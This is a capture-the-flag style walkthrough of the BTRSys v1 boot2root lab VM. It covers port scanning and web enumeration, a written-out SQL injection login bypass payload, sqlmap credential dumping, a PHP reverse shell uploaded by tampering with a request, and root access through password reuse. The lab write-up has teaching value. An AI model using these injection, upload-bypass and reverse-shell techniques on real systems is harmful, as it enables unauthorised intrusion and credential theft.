BTRSys v1 markets itself as a boot2root for beginners.  It’s fairly simple but almost all of the content covered is different from the covfefe box that we covered earlier.  You can find the file here, and it’ll download as a .rar file that you can decompress and import into VMWare.

Scanning

First step is to find the target machine.  We’ll accomplish that by ping sweeping with nmap.  First, we identify our own IP address:

Looking next to inet in the output from ifconfig, we see that our own address is 10.10.7.17. We can now use nmap to identify the other machine:

Our target is located at 10.10.7.22. The next step is to gather information about what services are accessible on the target. We’ll use nmap again to scan all of the TCP ports:

Key to note are ports 21, 22, and 80. The target is running FTP, SSH and a web server. By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing the publicly available services and what version each is, we can turn to searchsploit to try and identify some vulnerabilities to exploit:

Unfortunately, all of the vsftpd vulnerabilities listed are for older versions than ours (3.0.2).

A note: when you use searchsploit, it can help to include version numbers in the command in order to cut down on the noise that is returned. Above, searching for all OpenSSH vulnerabilities returns a lot of options. Searching for something like Apache would produce even more. This can make it difficult to find applicable vulnerabilities. But by including a version in the search string, we could also miss out on vulnerabilities that impact a range of versions. For example, above we see two vulnerabilities that claim to impact all versions of OpenSSH less than 7.4. Searching for OpenSSH 6.6.1 wouldn’t return these. In this case, it doesn’t matter, because the two <7.4 vulnerabilities require specific configurations. We could make note and try them later just to be sure, but this will prove to be unnecessary. The same is true with the Apache server, so we will just move on and take a look at the FTP service that is running.

Port :21

nmap notified us that the FTP server at port 21 allows anonymous login with read only access. We will quickly verify this and see if there are any files available on the server.

Using the ls command, we see that there are no files on the server. We also double check that we can’t upload any files by using PUT. Unfortunately, this seems to be a dead-end, so we will move on to port 80.

Port :80

There are two great tools to gather information about a web server: nikto and dirb. Nikto will scan a server for known vulnerabilities, and dirb will take a wordlist and try to brute force the files and directories present. Between the two of them we can get a good idea of what the server looks like and some potential attack vectors.

Starting with nikto:

Two big things to notice above are the file at /config.php and the login portal at /login.php. Browsing to /config.php yields nothing but a blank page. That’s ok, false positives happen with tools like this (technically, it isn’t a false positive because there is actually a file called config.php there, it’s just blank and therefore of little use to us). The login portal at /login.php looks promising, and I’ll go over why once we look at our dirb results:

There are a few things to notice here. First is that dirb seems to have missed login.php. This is why it’s really helpful to use the two tools together. The likely reason that is missed login.php (login is definitely in the wordlist) is that dirb is searching for a hit at http://10.10.7.22/login but our target is using php, and the pages therefore have .php as an extension. If we were to repeat the scan with the -X flag to add a file extension, we will see several files appear that didn’t before.

dirb http://10.10.7.22/ /usr/share/wordlists/dirb/big.txt -X .php

Let’s take a look at login.php.

If we look at the source for this page, we see a script at the bottom which performs some input sanitation to try and prevent SQL injection. Unfortunately for the target, their solution is pretty weak and is easily avoided.

The script performs two checks before submitting the login form and throws an error if either of them are tripped. The first check is whether or not the password being submitted is a single quote (‘). The second check is whether or not the username contains btrisk.com. Simple enough. By submitting username “btrisk.com” and password “a’ or 1=1;#” (not including the double quotes) the portal will log us in and present us with the next page:

EDIT: When redoing all of this for this write-up, the file upload page that we cover later on in the write-up magically began appearing.  The first time that I did any of this, it did not.  I tried clearing caches and cookies but it showed up every time.  If you do not see a button to upload a file, ignore this edit and continue.  If you do see one, you could skip down to the file upload portion, but I’d recommend continuing to follow the guide for some sqlmap password dumping goodness!  Either way, know that your web page may not look quite like the one above.  As long as the URL says /personel.php then chances are that you’re in the correct place.

We now know that the portal is vulnerable to SQLi. At this point I pulled out a tool called sqlmap to do the heavy lifting. sqlmap automates the whole injection process for you and can be used to dump some pretty handy information.

Notice towards the end of the above abbreviated output, that there is a user table with two entries. If you haven’t noticed by now, the box is in Turkish. So it may be useful to know the following translations…

Looking at the user table again, it looks like we have two user names and passwords that appear to be in plain text! Returning to the login portal at /login.php, if we log in with the first set of creds (ikaya@btrisk.com:asd123***), then we’re brought back to the /personel.php page but this time there is a file upload form present.

If we take a look at the page’s source, we once again see some javascript at the bottom, this time handling the file upload.

Looks like they are only allowing .jpg, .png, and .gif files to be uploaded. This is pretty normal, it keeps users from uploading malicious things like php code that could generate a reverse shell (hint). Unfortunately for them, they are performing this check on the client side. This means that we can intercept the POST containing our file, and rename it to whatever we want. So if the page only allows images and we want to upload a .php file, we can name it with an image extension, intercept the POST and change that extension back to .php, and the server will treat it just like any other .php file. Let’s give it a try.

First we’ll generate our payload. We want to create a reverse tcp shell so that we can gain access to the box. Using msfvenom, we can create a payload that will open a meterpreter instance that we can interact with via metasploit. Set the port and IP that your test machine will listen on for the target to connect to.

Next, edit the file and remove the /* at the beginning of the file:

should change to:

Now, if we upload this file, the form will allow it because it thinks that the file is an image. But before we click ‘Gonder’ we need to set ourselves up to intercept the POST. There are many ways to do this, I like to use a firefox extension called tamper data (downloadable here). It’s simple, easy to use, and one less program that I need to have open. Once it’s installed, just go to tools and click on tamper data.

Click start tamper. Now we can click ‘Gonder’ to upload our file. We should see a message like the one below. Click tamper.

You will most likely see similar messages that are going to other URLs pop up while you are tampering. Just submit them. You only need to worry about the one that is going to your target IP. Now we will edit the message in order to change the file extension from jpg to php as seen below.

Once complete, click submit, and you can now stop tampering. You should see a new screen indicating that the file was uploaded. You can also now navigate to /uploads/ and you should see your file there.

Our payload is on the target. Now, before we execute it, we need to set our machine up so that it can handle the incoming request from the payload. Open up metasploit and wait for it to start up.

Once it is open, we need to use the multi/handler module. This is a particularly useful metasploit module that is capable of connecting the framework to payloads that are launched from outside of it (as in our case where we manually uploaded the payload and will execute it ourselves). To use and configure the payload, perform the following:

Of course, change the above to match your own environment. It is imperative that the settings match those in the msfvenom command that we executed above, otherwise it will likely fail. If you have entered run, you should see something like the below

This indicates that the handler is active and listening on 10.10.7.17:52801. Now, in your browser, either navigate to http://10.10.7.22/rshell.php or simply click on the file from the /uploads/ page. This will execute the code that it contains, and generate a reverse shell to your metasploit instance. A successful execution will look similar to the below:

There are a number of commands available from here, just type shell and hit enter to get a shell on the target machine. The next step is to improve the limited shell that we now have. For example, if you were to try to use sudo, it would fail. The following line is extremely useful and works almost every time.

Escalation

You should now have a familiar looking BASH shell. We are currently operating as user www-data. At this point we would begin to gather data from the machine itself and try to find a privilege escalation exploit. But one thing I always try in the lab is seeing if any of the creds that I already have have been reused, or if the current user can simply sudo su to root. Chances of www-data being given sudo privileges are next to nil. But what about that password that both of the web users were using? Perhaps it was reused?

And we have root. This is why I always try to remember to check what I already have to see if any of it works. There’s no sense in crawling the system trying to enumerate vulnerabilities that may or may not even exist if I already have the key in my back pocket. It can end up saving hours of pain and wasted effort. at this point, we have accomplished the goal of the box, we now have root. You can search for other data at this point, try to crack the hashes in /etc/shadow (we already know one of them!), etc. Overall, a good, friendly boot2root that touches on some good web vulnerabilities. For extra challenge, don’t use sqlmap and see if you can figure out how to get the same information. Props to ismailonderkaya on the box, I enjoyed it!